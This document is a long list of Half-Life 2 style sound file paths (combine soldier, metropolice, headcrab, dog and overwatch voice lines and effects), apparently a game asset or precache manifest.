+npc/combine_soldier/vo/fullactive.wav +npc/combine_soldier/vo/ghost.wav +npc/combine_soldier/vo/ghost2.wav +npc/combine_soldier/vo/goactiveintercept.wav +npc/combine_soldier/vo/gosharp.wav +npc/combine_soldier/vo/gosharpgosharp.wav +npc/combine_soldier/vo/grid.wav +npc/combine_soldier/vo/gridsundown46.wav +npc/combine_soldier/vo/hammer.wav +npc/combine_soldier/vo/hardenthatposition.wav +npc/combine_soldier/vo/hasnegativemovement.wav +npc/combine_soldier/vo/heavyresistance.wav +npc/combine_soldier/vo/helix.wav +npc/combine_soldier/vo/hunter.wav +npc/combine_soldier/vo/hurricane.wav +npc/combine_soldier/vo/ice.wav +npc/combine_soldier/vo/inbound.wav +npc/combine_soldier/vo/infected.wav +npc/combine_soldier/vo/ion.wav +npc/combine_soldier/vo/isatcode.wav +npc/combine_soldier/vo/isfieldpromoted.wav +npc/combine_soldier/vo/isfinalteamunitbackup.wav +npc/combine_soldier/vo/isholdingatcode.wav +npc/combine_soldier/vo/jet.wav +npc/combine_soldier/vo/judge.wav +npc/combine_soldier/vo/kilo.wav +npc/combine_soldier/vo/leader.wav +npc/combine_soldier/vo/lostcontact.wav +npc/combine_soldier/vo/mace.wav +npc/combine_soldier/vo/meters.wav +npc/combine_soldier/vo/motioncheckallradials.wav +npc/combine_soldier/vo/movein.wav +npc/combine_soldier/vo/necrotics.wav +npc/combine_soldier/vo/necroticsinbound.wav +npc/combine_soldier/vo/niner.wav +npc/combine_soldier/vo/nineteen.wav +npc/combine_soldier/vo/ninety.wav +npc/combine_soldier/vo/nomad.wav +npc/combine_soldier/vo/nova.wav +npc/combine_soldier/vo/noviscon.wav +npc/combine_soldier/vo/off1.wav +npc/combine_soldier/vo/off2.wav +npc/combine_soldier/vo/off3.wav +npc/combine_soldier/vo/on1.wav +npc/combine_soldier/vo/on2.wav +npc/combine_soldier/vo/one.wav +npc/combine_soldier/vo/onecontained.wav +npc/combine_soldier/vo/onedown.wav +npc/combine_soldier/vo/onedutyvacated.wav +npc/combine_soldier/vo/onehundred.wav +npc/combine_soldier/vo/outbreak.wav +npc/combine_soldier/vo/outbreakstatusiscode.wav +npc/combine_soldier/vo/overwatch.wav +npc/combine_soldier/vo/overwatchconfirmhvtcontained.wav +npc/combine_soldier/vo/overwatchreportspossiblehostiles.wav +npc/combine_soldier/vo/overwatchrequestreinforcement.wav +npc/combine_soldier/vo/overwatchrequestreserveactivation.wav +npc/combine_soldier/vo/overwatchrequestskyshield.wav +npc/combine_soldier/vo/overwatchrequestwinder.wav +npc/combine_soldier/vo/overwatchsectoroverrun.wav +npc/combine_soldier/vo/overwatchtarget1sterilized.wav +npc/combine_soldier/vo/overwatchtargetcontained.wav +npc/combine_soldier/vo/overwatchteamisdown.wav +npc/combine_soldier/vo/ovewatchorders3ccstimboost.wav +npc/combine_soldier/vo/payback.wav +npc/combine_soldier/vo/phantom.wav +npc/combine_soldier/vo/prepforcontact.wav +npc/combine_soldier/vo/priority1objective.wav +npc/combine_soldier/vo/prioritytwoescapee.wav +npc/combine_soldier/vo/prison_soldier_activatecentral.wav +npc/combine_soldier/vo/prison_soldier_boomersinbound.wav +npc/combine_soldier/vo/prison_soldier_bunker1.wav +npc/combine_soldier/vo/prison_soldier_bunker2.wav +npc/combine_soldier/vo/prison_soldier_bunker3.wav +npc/combine_soldier/vo/prison_soldier_containD8.wav +npc/combine_soldier/vo/prison_soldier_fallback_b4.wav +npc/combine_soldier/vo/prison_soldier_freeman_antlions.wav +npc/combine_soldier/vo/prison_soldier_fullbioticoverrun.wav +npc/combine_soldier/vo/prison_soldier_leader9dead.wav +npc/combine_soldier/vo/prison_soldier_negativecontainment.wav +npc/combine_soldier/vo/prison_soldier_prosecuteD7.wav +npc/combine_soldier/vo/prison_soldier_sundown3dead.wav +npc/combine_soldier/vo/prison_soldier_tohighpoints.wav +npc/combine_soldier/vo/prison_soldier_visceratorsA5.wav +npc/combine_soldier/vo/prosecuting.wav +npc/combine_soldier/vo/quicksand.wav +npc/combine_soldier/vo/range.wav +npc/combine_soldier/vo/ranger.wav +npc/combine_soldier/vo/razor.wav +npc/combine_soldier/vo/readycharges.wav +npc/combine_soldier/vo/readyextractors.wav +npc/combine_soldier/vo/readyweapons.wav +npc/combine_soldier/vo/readyweaponshostilesinbound.wav +npc/combine_soldier/vo/reaper.wav +npc/combine_soldier/vo/reportallpositionsclear.wav +npc/combine_soldier/vo/reportallradialsfree.wav +npc/combine_soldier/vo/reportingclear.wav +npc/combine_soldier/vo/requestmedical.wav +npc/combine_soldier/vo/requeststimdose.wav +npc/combine_soldier/vo/ripcord.wav +npc/combine_soldier/vo/ripcordripcord.wav +npc/combine_soldier/vo/savage.wav +npc/combine_soldier/vo/scar.wav +npc/combine_soldier/vo/sectionlockupdash4.wav +npc/combine_soldier/vo/sector.wav +npc/combine_soldier/vo/sectorisnotsecure.wav +npc/combine_soldier/vo/sectorissecurenovison.wav +npc/combine_soldier/vo/secure.wav +npc/combine_soldier/vo/seven.wav +npc/combine_soldier/vo/seventeen.wav +npc/combine_soldier/vo/seventy.wav +npc/combine_soldier/vo/shadow.wav +npc/combine_soldier/vo/sharpzone.wav +npc/combine_soldier/vo/sightlineisclear.wav +npc/combine_soldier/vo/six.wav +npc/combine_soldier/vo/sixteen.wav +npc/combine_soldier/vo/sixty.wav +npc/combine_soldier/vo/skyshieldreportslostcontact.wav +npc/combine_soldier/vo/slam.wav +npc/combine_soldier/vo/slash.wav +npc/combine_soldier/vo/spear.wav +npc/combine_soldier/vo/stab.wav +npc/combine_soldier/vo/stabilizationteamhassector.wav +npc/combine_soldier/vo/stabilizationteamholding.wav +npc/combine_soldier/vo/standingby].wav +npc/combine_soldier/vo/star.wav +npc/combine_soldier/vo/stayalert.wav +npc/combine_soldier/vo/stayalertreportsightlines.wav +npc/combine_soldier/vo/stinger.wav +npc/combine_soldier/vo/storm.wav +npc/combine_soldier/vo/striker.wav +npc/combine_soldier/vo/sundown.wav +npc/combine_soldier/vo/suppressing.wav +npc/combine_soldier/vo/swarmoutbreakinsector.wav +npc/combine_soldier/vo/sweeper.wav +npc/combine_soldier/vo/sweepingin.wav +npc/combine_soldier/vo/swift.wav +npc/combine_soldier/vo/sword.wav +npc/combine_soldier/vo/target.wav +npc/combine_soldier/vo/targetblackout.wav +npc/combine_soldier/vo/targetcompromisedmovein.wav +npc/combine_soldier/vo/targetcontactat.wav +npc/combine_soldier/vo/targetineffective.wav +npc/combine_soldier/vo/targetisat.wav +npc/combine_soldier/vo/targetmyradial.wav +npc/combine_soldier/vo/targetone.wav +npc/combine_soldier/vo/teamdeployedandscanning.wav +npc/combine_soldier/vo/ten.wav +npc/combine_soldier/vo/thatsitwrapitup.wav +npc/combine_soldier/vo/thirteen.wav +npc/combine_soldier/vo/thirty.wav +npc/combine_soldier/vo/three.wav +npc/combine_soldier/vo/threehundred.wav +npc/combine_soldier/vo/tracker.wav +npc/combine_soldier/vo/twelve.wav +npc/combine_soldier/vo/twenty.wav +npc/combine_soldier/vo/two.wav +npc/combine_soldier/vo/twohundred.wav +npc/combine_soldier/vo/uniform.wav +npc/combine_soldier/vo/unitisclosing.wav +npc/combine_soldier/vo/unitisinbound.wav +npc/combine_soldier/vo/unitismovingin.wav +npc/combine_soldier/vo/vamp.wav +npc/combine_soldier/vo/viscon.wav +npc/combine_soldier/vo/visualonexogens.wav +npc/combine_soldier/vo/weaponsoffsafeprepforcontact.wav +npc/combine_soldier/vo/weareinaninfestationzone.wav +npc/combine_soldier/vo/wehavefreeparasites.wav +npc/combine_soldier/vo/wehavenontaggedviromes.wav +npc/combine_soldier/vo/winder.wav +npc/combine_soldier/vo/zero.wav +npc/combine_soldier/vo/_comma.wav +npc/combine_soldier/vo/_period.wav +npc/crow/alert1.wav +npc/crow/alert2.wav +npc/crow/alert3.wav +npc/crow/crow2.wav +npc/crow/crow3.wav +npc/crow/die1.wav +npc/crow/die2.wav +npc/crow/flap2.wav +npc/crow/hop1.wav +npc/crow/hop2.wav +npc/crow/idle1.wav +npc/crow/idle2.wav +npc/crow/idle3.wav +npc/crow/idle4.wav +npc/crow/pain1.wav +npc/crow/pain2.wav +npc/dog/car_impact1.wav +npc/dog/car_impact2.wav +npc/dog/dog_alarmed1.wav +npc/dog/dog_alarmed3.wav +npc/dog/dog_angry1.wav +npc/dog/dog_angry2.wav +npc/dog/dog_angry3.wav +npc/dog/dog_combatmode_loop1.wav +npc/dog/dog_destroy_door1.wav +npc/dog/dog_disappointed.wav +npc/dog/dog_drop_gate1.wav +npc/dog/dog_footstep1.wav +npc/dog/dog_footstep2.wav +npc/dog/dog_footstep3.wav +npc/dog/dog_footstep4.wav +npc/dog/dog_footstep_run1.wav +npc/dog/dog_footstep_run2.wav +npc/dog/dog_footstep_run3.wav +npc/dog/dog_footstep_run4.wav +npc/dog/dog_footstep_run5.wav +npc/dog/dog_footstep_run6.wav +npc/dog/dog_footstep_run7.wav +npc/dog/dog_footstep_run8.wav +npc/dog/dog_growl2.wav +npc/dog/dog_growl3.wav +npc/dog/dog_idle1.wav +npc/dog/dog_idle2.wav +npc/dog/dog_idle3.wav +npc/dog/dog_idle4.wav +npc/dog/dog_idle5.wav +npc/dog/dog_idlemode_loop1.wav +npc/dog/dog_laugh1.wav +npc/dog/dog_on_dropship.wav +npc/dog/dog_playfull1.wav +npc/dog/dog_playfull3.wav +npc/dog/dog_playfull4.wav +npc/dog/dog_playfull5.wav +npc/dog/dog_pneumatic1.wav +npc/dog/dog_pneumatic2.wav +npc/dog/dog_rollover_servos1.wav +npc/dog/dog_scared1.wav +npc/dog/dog_servo1.wav +npc/dog/dog_servo10.wav +npc/dog/dog_servo12.wav +npc/dog/dog_servo2.wav +npc/dog/dog_servo3.wav +npc/dog/dog_servo5.wav +npc/dog/dog_servo6.wav +npc/dog/dog_servo7.wav +npc/dog/dog_servo8.wav +npc/dog/dog_straining1.wav +npc/dog/dog_straining2.wav +npc/dog/dog_straining3.wav +npc/env_headcrabcanister/explosion.wav +npc/env_headcrabcanister/hiss.wav +npc/env_headcrabcanister/incoming.wav +npc/env_headcrabcanister/launch.wav +npc/fast_zombie/breathe_loop1.wav +npc/fast_zombie/claw_miss1.wav +npc/fast_zombie/claw_miss2.wav +npc/fast_zombie/claw_strike1.wav +npc/fast_zombie/claw_strike2.wav +npc/fast_zombie/claw_strike3.wav +npc/fast_zombie/foot1.wav +npc/fast_zombie/foot2.wav +npc/fast_zombie/foot3.wav +npc/fast_zombie/foot4.wav +npc/fast_zombie/fz_alert_close1.wav +npc/fast_zombie/fz_alert_far1.wav +npc/fast_zombie/fz_frenzy1.wav +npc/fast_zombie/fz_scream1.wav +npc/fast_zombie/gurgle_loop1.wav +npc/fast_zombie/idle1.wav +npc/fast_zombie/idle2.wav +npc/fast_zombie/idle3.wav +npc/fast_zombie/leap1.wav +npc/fast_zombie/wake1.wav +npc/footsteps/hardboot_generic1.wav +npc/footsteps/hardboot_generic2.wav +npc/footsteps/hardboot_generic3.wav +npc/footsteps/hardboot_generic4.wav +npc/footsteps/hardboot_generic5.wav +npc/footsteps/hardboot_generic6.wav +npc/footsteps/hardboot_generic8.wav +npc/footsteps/softshoe_generic6.wav +npc/headcrab/alert1.wav +npc/headcrab/attack1.wav +npc/headcrab/attack2.wav +npc/headcrab/attack3.wav +npc/headcrab/die1.wav +npc/headcrab/die2.wav +npc/headcrab/headbite.wav +npc/headcrab/headcrab_burning_loop2.wav +npc/headcrab/idle1.wav +npc/headcrab/idle2.wav +npc/headcrab/idle3.wav +npc/headcrab/pain1.wav +npc/headcrab/pain2.wav +npc/headcrab/pain3.wav +npc/headcrab_fast/alert1.wav +npc/headcrab_fast/attack1.wav +npc/headcrab_fast/attack2.wav +npc/headcrab_fast/attack3.wav +npc/headcrab_fast/die1.wav +npc/headcrab_fast/die2.wav +npc/headcrab_fast/headbite.wav +npc/headcrab_fast/idle1.wav +npc/headcrab_fast/idle2.wav +npc/headcrab_fast/idle3.wav +npc/headcrab_fast/pain1.wav +npc/headcrab_fast/pain2.wav +npc/headcrab_fast/pain3.wav +npc/headcrab_poison/ph_hiss1.wav +npc/headcrab_poison/ph_idle1.wav +npc/headcrab_poison/ph_idle2.wav +npc/headcrab_poison/ph_idle3.wav +npc/headcrab_poison/ph_jump1.wav +npc/headcrab_poison/ph_jump2.wav +npc/headcrab_poison/ph_jump3.wav +npc/headcrab_poison/ph_pain1.wav +npc/headcrab_poison/ph_pain2.wav +npc/headcrab_poison/ph_pain3.wav +npc/headcrab_poison/ph_poisonbite1.wav +npc/headcrab_poison/ph_poisonbite2.wav +npc/headcrab_poison/ph_poisonbite3.wav +npc/headcrab_poison/ph_rattle1.wav +npc/headcrab_poison/ph_rattle2.wav +npc/headcrab_poison/ph_rattle3.wav +npc/headcrab_poison/ph_scream1.wav +npc/headcrab_poison/ph_scream2.wav +npc/headcrab_poison/ph_scream3.wav +npc/headcrab_poison/ph_step1.wav +npc/headcrab_poison/ph_step2.wav +npc/headcrab_poison/ph_step3.wav +npc/headcrab_poison/ph_step4.wav +npc/headcrab_poison/ph_talk1.wav +npc/headcrab_poison/ph_talk2.wav +npc/headcrab_poison/ph_talk3.wav +npc/headcrab_poison/ph_wallhit1.wav +npc/headcrab_poison/ph_wallhit2.wav +npc/headcrab_poison/ph_wallpain1.wav +npc/headcrab_poison/ph_wallpain2.wav +npc/headcrab_poison/ph_wallpain3.wav +npc/headcrab_poison/ph_warning1.wav +npc/headcrab_poison/ph_warning2.wav +npc/headcrab_poison/ph_warning3.wav +npc/ichthyosaur/attack_growl1.wav +npc/ichthyosaur/attack_growl2.wav +npc/ichthyosaur/attack_growl3.wav +npc/ichthyosaur/snap.wav +npc/ichthyosaur/snap_miss.wav +npc/ichthyosaur/water_breath.wav +npc/ichthyosaur/water_growl5.wav +npc/manhack/bat_away.wav +npc/manhack/gib.wav +npc/manhack/grind1.wav +npc/manhack/grind2.wav +npc/manhack/grind3.wav +npc/manhack/grind4.wav +npc/manhack/grind5.wav +npc/manhack/grind_flesh1.wav +npc/manhack/grind_flesh2.wav +npc/manhack/grind_flesh3.wav +npc/manhack/mh_blade_loop1.wav +npc/manhack/mh_blade_snick1.wav +npc/manhack/mh_engine_loop1.wav +npc/manhack/mh_engine_loop2.wav +npc/metropolice/die1.wav +npc/metropolice/die2.wav +npc/metropolice/die3.wav +npc/metropolice/die4.wav +npc/metropolice/gear1.wav +npc/metropolice/gear2.wav +npc/metropolice/gear3.wav +npc/metropolice/gear4.wav +npc/metropolice/gear5.wav +npc/metropolice/gear6.wav +npc/metropolice/hiding02.wav +npc/metropolice/hiding03.wav +npc/metropolice/hiding04.wav +npc/metropolice/hiding05.wav +npc/metropolice/knockout2.wav +npc/metropolice/pain1.wav +npc/metropolice/pain2.wav +npc/metropolice/pain3.wav +npc/metropolice/pain4.wav +npc/metropolice/takedown.wav +npc/metropolice/vo/11-99officerneedsassistance.wav +npc/metropolice/vo/404zone.wav +npc/metropolice/vo/acquiringonvisual.wav +npc/metropolice/vo/administer.wav +npc/metropolice/vo/affirmative.wav +npc/metropolice/vo/affirmative2.wav +npc/metropolice/vo/airwatchsubjectis505.wav +npc/metropolice/vo/allrightyoucango.wav +npc/metropolice/vo/allunitsbol34sat.wav +npc/metropolice/vo/allunitscloseonsuspect.wav +npc/metropolice/vo/allunitscode2.wav +npc/metropolice/vo/allunitsmaintainthiscp.wav +npc/metropolice/vo/allunitsmovein.wav +npc/metropolice/vo/allunitsreportlocationsuspect.wav +npc/metropolice/vo/allunitsrespondcode3.wav +npc/metropolice/vo/amputate.wav +npc/metropolice/vo/anticitizen.wav +npc/metropolice/vo/anyonepickup647e.wav +npc/metropolice/vo/apply.wav +npc/metropolice/vo/assaultpointsecureadvance.wav +npc/metropolice/vo/atcheckpoint.wav +npc/metropolice/vo/backmeupImout.wav +npc/metropolice/vo/backup.wav +npc/metropolice/vo/block.wav +npc/metropolice/vo/blockisholdingcohesive.wav +npc/metropolice/vo/breakhiscover.wav +npc/metropolice/vo/bugs.wav +npc/metropolice/vo/bugsontheloose.wav +npc/metropolice/vo/canal.wav +npc/metropolice/vo/canalblock.wav +npc/metropolice/vo/catchthatbliponstabilization.wav +npc/metropolice/vo/cauterize.wav +npc/metropolice/vo/checkformiscount.wav +npc/metropolice/vo/chuckle.wav +npc/metropolice/vo/citizen.wav +npc/metropolice/vo/citizensummoned.wav +npc/metropolice/vo/classifyasdbthisblockready.wav +npc/metropolice/vo/clearandcode100.wav +npc/metropolice/vo/clearno647no10-107.wav +npc/metropolice/vo/code100.wav +npc/metropolice/vo/code7.wav +npc/metropolice/vo/condemnedzone.wav +npc/metropolice/vo/confirmadw.wav +npc/metropolice/vo/confirmpriority1sighted.wav +npc/metropolice/vo/contactwith243suspect.wav +npc/metropolice/vo/contactwithpriority2.wav +npc/metropolice/vo/control100percent.wav +npc/metropolice/vo/controlsection.wav +npc/metropolice/vo/converging.wav +npc/metropolice/vo/copy.wav +npc/metropolice/vo/covermegoingin.wav +npc/metropolice/vo/cpbolforthat243.wav +npc/metropolice/vo/cpiscompromised.wav +npc/metropolice/vo/cpisoverrunwehavenocontainment.wav +npc/metropolice/vo/cprequestsallunitsreportin.wav +npc/metropolice/vo/cpweneedtoestablishaperimeterat.wav +npc/metropolice/vo/criminaltrespass63.wav +npc/metropolice/vo/dbcountis.wav +npc/metropolice/vo/defender.wav +npc/metropolice/vo/deservicedarea.wav +npc/metropolice/vo/designatesuspectas.wav +npc/metropolice/vo/destroythatcover.wav +npc/metropolice/vo/dismountinghardpoint.wav +npc/metropolice/vo/dispatchIneed10-78.wav +npc/metropolice/vo/dispreportssuspectincursion.wav +npc/metropolice/vo/dispupdatingapb.wav +npc/metropolice/vo/distributionblock.wav +npc/metropolice/vo/document.wav +npc/metropolice/vo/dontmove.wav +npc/metropolice/vo/eight.wav +npc/metropolice/vo/eighteen.wav +npc/metropolice/vo/eighty.wav +npc/metropolice/vo/eleven.wav +npc/metropolice/vo/establishnewcp.wav +npc/metropolice/vo/examine.wav +npc/metropolice/vo/expired.wav +npc/metropolice/vo/externaljurisdiction.wav +npc/metropolice/vo/fifteen.wav +npc/metropolice/vo/fifty.wav +npc/metropolice/vo/finalverdictadministered.wav +npc/metropolice/vo/finalwarning.wav +npc/metropolice/vo/firetodislocateinterpose.wav +npc/metropolice/vo/firingtoexposetarget.wav +npc/metropolice/vo/firstwarningmove.wav +npc/metropolice/vo/five.wav +npc/metropolice/vo/four.wav +npc/metropolice/vo/fourteen.wav +npc/metropolice/vo/fourty.wav +npc/metropolice/vo/freeman.wav +npc/metropolice/vo/freenecrotics.wav +npc/metropolice/vo/get11-44inboundcleaningup.wav +npc/metropolice/vo/getdown.wav +npc/metropolice/vo/getoutofhere.wav +npc/metropolice/vo/goingtotakealook.wav +npc/metropolice/vo/gota10-107sendairwatch.wav +npc/metropolice/vo/gothimagainsuspect10-20at.wav +npc/metropolice/vo/gotoneaccomplicehere.wav +npc/metropolice/vo/gotsuspect1here.wav +npc/metropolice/vo/grenade.wav +npc/metropolice/vo/hardpointscanning.wav +npc/metropolice/vo/help.wav +npc/metropolice/vo/hero.wav +npc/metropolice/vo/hesgone148.wav +npc/metropolice/vo/hesrunning.wav +npc/metropolice/vo/hesupthere.wav +npc/metropolice/vo/hidinglastseenatrange.wav +npc/metropolice/vo/highpriorityregion.wav +npc/metropolice/vo/holdingon10-14duty.wav +npc/metropolice/vo/holdit.wav +npc/metropolice/vo/holditrightthere.wav +npc/metropolice/vo/holdthisposition.wav +npc/metropolice/vo/Ihave10-30my10-20responding.wav +npc/metropolice/vo/industrialzone.wav +npc/metropolice/vo/infection.wav +npc/metropolice/vo/infestedzone.wav +npc/metropolice/vo/inject.wav +npc/metropolice/vo/innoculate.wav +npc/metropolice/vo/inposition.wav +npc/metropolice/vo/inpositionathardpoint.wav +npc/metropolice/vo/inpositiononeready.wav +npc/metropolice/vo/intercede.wav +npc/metropolice/vo/interlock.wav +npc/metropolice/vo/investigate.wav +npc/metropolice/vo/investigating10-103.wav +npc/metropolice/vo/is10-108.wav +npc/metropolice/vo/is415b.wav +npc/metropolice/vo/Isaidmovealong.wav +npc/metropolice/vo/isathardpointreadytoprosecute.wav +npc/metropolice/vo/isclosingonsuspect.wav +npc/metropolice/vo/isdown.wav +npc/metropolice/vo/isgo.wav +npc/metropolice/vo/ismovingin.wav +npc/metropolice/vo/isolate.wav +npc/metropolice/vo/ispassive.wav +npc/metropolice/vo/isreadytogo.wav +npc/metropolice/vo/issuingmalcompliantcitation.wav +npc/metropolice/vo/Ivegot408hereatlocation.wav +npc/metropolice/vo/jury.wav +npc/metropolice/vo/keepmoving.wav +npc/metropolice/vo/king.wav +npc/metropolice/vo/level3civilprivacyviolator.wav +npc/metropolice/vo/line.wav +npc/metropolice/vo/localcptreportstatus.wav +npc/metropolice/vo/location.wav +npc/metropolice/vo/lock.wav +npc/metropolice/vo/lockyourposition.wav +npc/metropolice/vo/lookingfortrouble.wav +npc/metropolice/vo/lookout.wav +npc/metropolice/vo/lookoutrogueviscerator.wav +npc/metropolice/vo/looseparasitics.wav +npc/metropolice/vo/loyaltycheckfailure.wav +npc/metropolice/vo/malcompliant10107my1020.wav +npc/metropolice/vo/malignant.wav +npc/metropolice/vo/matchonapblikeness.wav +npc/metropolice/vo/meters.wav +npc/metropolice/vo/minorhitscontinuing.wav +npc/metropolice/vo/move.wav +npc/metropolice/vo/movealong.wav +npc/metropolice/vo/movealong3.wav +npc/metropolice/vo/movebackrightnow.wav +npc/metropolice/vo/moveit.wav +npc/metropolice/vo/moveit2.wav +npc/metropolice/vo/movetoarrestpositions.wav +npc/metropolice/vo/movingtocover.wav +npc/metropolice/vo/movingtohardpoint.wav +npc/metropolice/vo/movingtohardpoint2.wav +npc/metropolice/vo/necrotics.wav +npc/metropolice/vo/needanyhelpwiththisone.wav +npc/metropolice/vo/nine.wav +npc/metropolice/vo/nineteen.wav +npc/metropolice/vo/ninety.wav +npc/metropolice/vo/nocontact.wav +npc/metropolice/vo/non-taggedviromeshere.wav +npc/metropolice/vo/noncitizen.wav +npc/metropolice/vo/nonpatrolregion.wav +npc/metropolice/vo/novisualonupi.wav +npc/metropolice/vo/nowgetoutofhere.wav +npc/metropolice/vo/off1.wav +npc/metropolice/vo/off2.wav +npc/metropolice/vo/off3.wav +npc/metropolice/vo/off4.wav +npc/metropolice/vo/officerdowncode3tomy10-20.wav +npc/metropolice/vo/officerdownIam10-99.wav +npc/metropolice/vo/officerneedsassistance.wav +npc/metropolice/vo/officerneedshelp.wav +npc/metropolice/vo/officerunderfiretakingcover.wav +npc/metropolice/vo/on1.wav +npc/metropolice/vo/on2.wav +npc/metropolice/vo/one.wav +npc/metropolice/vo/onehundred.wav +npc/metropolice/vo/outbreak.wav +npc/metropolice/vo/outlandbioticinhere.wav +npc/metropolice/vo/outlandzone.wav +npc/metropolice/vo/pacifying.wav +npc/metropolice/vo/patrol.wav +npc/metropolice/vo/pickingupnoncorplexindy.wav +npc/metropolice/vo/pickupthecan1.wav +npc/metropolice/vo/pickupthecan2.wav +npc/metropolice/vo/pickupthecan3.wav +npc/metropolice/vo/positiontocontain.wav +npc/metropolice/vo/possible10-103alerttagunits.wav +npc/metropolice/vo/possible404here.wav +npc/metropolice/vo/possible647erequestairwatch.wav +npc/metropolice/vo/possiblelevel3civilprivacyviolator.wav +npc/metropolice/vo/preparefor1015.wav +npc/metropolice/vo/prepareforjudgement.wav +npc/metropolice/vo/preparingtojudge10-107.wav +npc/metropolice/vo/preserve.wav +npc/metropolice/vo/pressure.wav +npc/metropolice/vo/priority2anticitizenhere.wav +npc/metropolice/vo/proceedtocheckpoints.wav +npc/metropolice/vo/productionblock.wav +npc/metropolice/vo/prosecute.wav +npc/metropolice/vo/protectioncomplete.wav +npc/metropolice/vo/ptatlocationreport.wav +npc/metropolice/vo/ptgoagain.wav +npc/metropolice/vo/putitinthetrash1.wav +npc/metropolice/vo/putitinthetrash2.wav +npc/metropolice/vo/quick.wav +npc/metropolice/vo/readytoamputate.wav +npc/metropolice/vo/readytojudge.wav +npc/metropolice/vo/readytoprosecute.wav +npc/metropolice/vo/readytoprosecutefinalwarning.wav +npc/metropolice/vo/reinforcementteamscode3.wav +npc/metropolice/vo/reportsightingsaccomplices.wav +npc/metropolice/vo/repurposedarea.wav +npc/metropolice/vo/requestsecondaryviscerator.wav +npc/metropolice/vo/residentialblock.wav +npc/metropolice/vo/responding2.wav +npc/metropolice/vo/restrict.wav +npc/metropolice/vo/restrictedblock.wav +npc/metropolice/vo/rodgerthat.wav +npc/metropolice/vo/roller.wav +npc/metropolice/vo/runninglowonverdicts.wav +npc/metropolice/vo/sacrificecode1maintaincp.wav +npc/metropolice/vo/search.wav +npc/metropolice/vo/searchingforsuspect.wav +npc/metropolice/vo/secondwarning.wav +npc/metropolice/vo/sector.wav +npc/metropolice/vo/sentencedelivered.wav +npc/metropolice/vo/serve.wav +npc/metropolice/vo/seven.wav +npc/metropolice/vo/seventeen.wav +npc/metropolice/vo/seventy.wav +npc/metropolice/vo/shit.wav +npc/metropolice/vo/shotsfiredhostilemalignants.wav +npc/metropolice/vo/six.wav +npc/metropolice/vo/sixteen.wav +npc/metropolice/vo/sixty.wav +npc/metropolice/vo/sociocide.wav +npc/metropolice/vo/stabilizationjurisdiction.wav +npc/metropolice/vo/standardloyaltycheck.wav +npc/metropolice/vo/stationblock.wav +npc/metropolice/vo/sterilize.wav +npc/metropolice/vo/stick.wav +npc/metropolice/vo/stillgetting647e.wav +npc/metropolice/vo/stormsystem.wav +npc/metropolice/vo/subject.wav +npc/metropolice/vo/subjectis505.wav +npc/metropolice/vo/subjectisnowhighspeed.wav +npc/metropolice/vo/supsecthasmovednowto.wav +npc/metropolice/vo/suspect11-6my1020is.wav +npc/metropolice/vo/suspectinstormrunoff.wav +npc/metropolice/vo/suspectisbleeding.wav +npc/metropolice/vo/suspectlocationunknown.wav +npc/metropolice/vo/suspectusingrestrictedcanals.wav +npc/metropolice/vo/suspend.wav +npc/metropolice/vo/sweepingforsuspect.wav +npc/metropolice/vo/tag10-91d.wav +npc/metropolice/vo/tagonebug.wav +npc/metropolice/vo/tagonenecrotic.wav +npc/metropolice/vo/tagoneparasitic.wav +npc/metropolice/vo/takecover.wav +npc/metropolice/vo/tap.wav +npc/metropolice/vo/teaminpositionadvance.wav +npc/metropolice/vo/ten.wav +npc/metropolice/vo/ten2.wav +npc/metropolice/vo/ten4.wav +npc/metropolice/vo/ten8standingby.wav +npc/metropolice/vo/ten91dcountis.wav +npc/metropolice/vo/ten97.wav +npc/metropolice/vo/ten97suspectisgoa.wav +npc/metropolice/vo/tenzerovisceratorishunting.wav +npc/metropolice/vo/terminalrestrictionzone.wav +npc/metropolice/vo/thatsagrenade.wav +npc/metropolice/vo/therehegoeshesat.wav +npc/metropolice/vo/thereheis.wav +npc/metropolice/vo/thirteen.wav +npc/metropolice/vo/thirty.wav +npc/metropolice/vo/thisisyoursecondwarning.wav +npc/metropolice/vo/three.wav +npc/metropolice/vo/threehundred.wav +npc/metropolice/vo/transitblock.wav +npc/metropolice/vo/twelve.wav +npc/metropolice/vo/twenty.wav +npc/metropolice/vo/two.wav +npc/metropolice/vo/twohundred.wav +npc/metropolice/vo/union.wav +npc/metropolice/vo/unitis10-65.wav +npc/metropolice/vo/unitis10-8standingby.wav +npc/metropolice/vo/unitisonduty10-8.wav +npc/metropolice/vo/unitreportinwith10-25suspect.wav +npc/metropolice/vo/unlawfulentry603.wav +npc/metropolice/vo/upi.wav +npc/metropolice/vo/utlsuspect.wav +npc/metropolice/vo/utlthatsuspect.wav +npc/metropolice/vo/vacatecitizen.wav +npc/metropolice/vo/vice.wav +npc/metropolice/vo/victor.wav +npc/metropolice/vo/visceratordeployed.wav +npc/metropolice/vo/visceratorisoc.wav +npc/metropolice/vo/visceratorisoffgrid.wav +npc/metropolice/vo/wasteriver.wav +npc/metropolice/vo/watchit.wav +npc/metropolice/vo/wearesociostablethislocation.wav +npc/metropolice/vo/wegotadbherecancel10-102.wav +npc/metropolice/vo/wehavea10-108.wav +npc/metropolice/vo/workforceintake.wav +npc/metropolice/vo/xray.wav +npc/metropolice/vo/yellow.wav +npc/metropolice/vo/youknockeditover.wav +npc/metropolice/vo/youwantamalcomplianceverdict.wav +npc/metropolice/vo/zero.wav +npc/metropolice/vo/zone.wav +npc/metropolice/vo/_comma.wav +npc/overwatch/cityvoice/fcitadel_10sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_15sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_1minutetosingularity.wav +npc/overwatch/cityvoice/fcitadel_2minutestosingularity.wav +npc/overwatch/cityvoice/fcitadel_30sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_3minutestosingularity.wav +npc/overwatch/cityvoice/fcitadel_45sectosingularity.wav +npc/overwatch/cityvoice/fcitadel_confiscating.wav +npc/overwatch/cityvoice/fcitadel_confiscationfailure.wav +npc/overwatch/cityvoice/fcitadel_deploy.wav +npc/overwatch/cityvoice/fcitadel_transportsequence.wav +npc/overwatch/cityvoice/fprison_airwatchdispatched.wav +npc/overwatch/cityvoice/fprison_contactlostlandsea.wav +npc/overwatch/cityvoice/fprison_containexogens.wav +npc/overwatch/cityvoice/fprison_deployinb4.wav +npc/overwatch/cityvoice/fprison_deservicepoliticalconscripts.wav +npc/overwatch/cityvoice/fprison_detectionsystemsout.wav +npc/overwatch/cityvoice/fprison_dropforcesixandeight.wav +npc/overwatch/cityvoice/fprison_exogenbreach.wav +npc/overwatch/cityvoice/fprison_freemanlocated.wav +npc/overwatch/cityvoice/fprison_interfacebypass.wav 